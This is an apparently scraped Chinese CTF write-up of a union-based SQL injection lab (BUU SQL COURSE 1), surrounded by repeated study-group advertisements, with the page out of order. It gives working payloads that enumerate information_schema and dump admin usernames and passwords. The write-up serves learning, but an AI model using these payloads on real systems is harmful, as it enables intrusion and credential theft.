2024年网络安全最全【CTF练习】BUU SQL COURSE 1(1)，2024年最新网络安全面试题2024

写在最后

在结束之际，我想重申的是，学习并非如攀登险峻高峰，而是如滴水穿石般的持久累积。尤其当我们步入工作岗位之后，持之以恒的学习变得愈发不易，如同在茫茫大海中独自划舟，稍有松懈便可能被巨浪吞噬。然而，对于我们程序员而言，学习是生存之本，是我们在激烈市场竞争中立于不败之地的关键。一旦停止学习，我们便如同逆水行舟，不进则退，终将被时代的洪流所淘汰。因此，不断汲取新知识，不仅是对自己的提升，更是对自己的一份珍贵投资。让我们不断磨砺自己，与时代共同进步，书写属于我们的辉煌篇章。

需要完整版PDF学习资源私我

网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。

需要这份系统化资料的朋友，可以点击这里获取

一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！

2.判断参数数据类型（闭合方式）

判断是字符型还是数值型，

' and '1'='1 和and 1=1

第一个不回显，但是第二个回显了，那么应该是数值型，然后又试了下 and 1=2不回显，那么就找到注入点啦！

3.判断字段数

因为这个是数值型所以就直接order by num #,如果是字符型就 ’ （闭合）or 1=1 后面加上order的payload

2已经最大啦，3的时候就已经没有回显了，所以这个表共2个字段

4.确定字段的显示位置

id=-1 的使用是为了确保原始查询返回一个空集，从而避免与注入部分有重叠的数据。这样，注入的结果就可以完全替代原始查询的结果

 id=-1 union select 'first','second'

可以看到title是1，content是2

5.获取Current 数据库

因为上一步可以看到union确实可以显示，那么就用这个爆出

?id=-1 union select 1,database()

可以得出数据库名字叫做news

6.获取数据库中的表

-1 union select 1, group_concat(table_name) from information_schema.tables where table_schema=database() #

7.获取表中的字段名

-1 union select 1, group_concat(column_name) from information_schema.columns where table_name='admin' #

wow 熟悉的答案继续继续

8. 爆出账号密码

这是注入的部分。UNION SELECT 用于将两个查询的结果合并。在这里，第一个查询是原始查询的占位，返回一个空结果集。第二个查询从 admin 表中选择了 username 和 password 列，并使用 concat 函数将它们连接在一起，用冒号 : 分隔。

?id=-1 UNION SELECT 1, concat(username, 0x3a, password) FROM admin

FLAG!

耶终于写出来了，我真的太菜了。菜就要多练

网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。

需要这份系统化资料的朋友，可以点击这里获取

一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！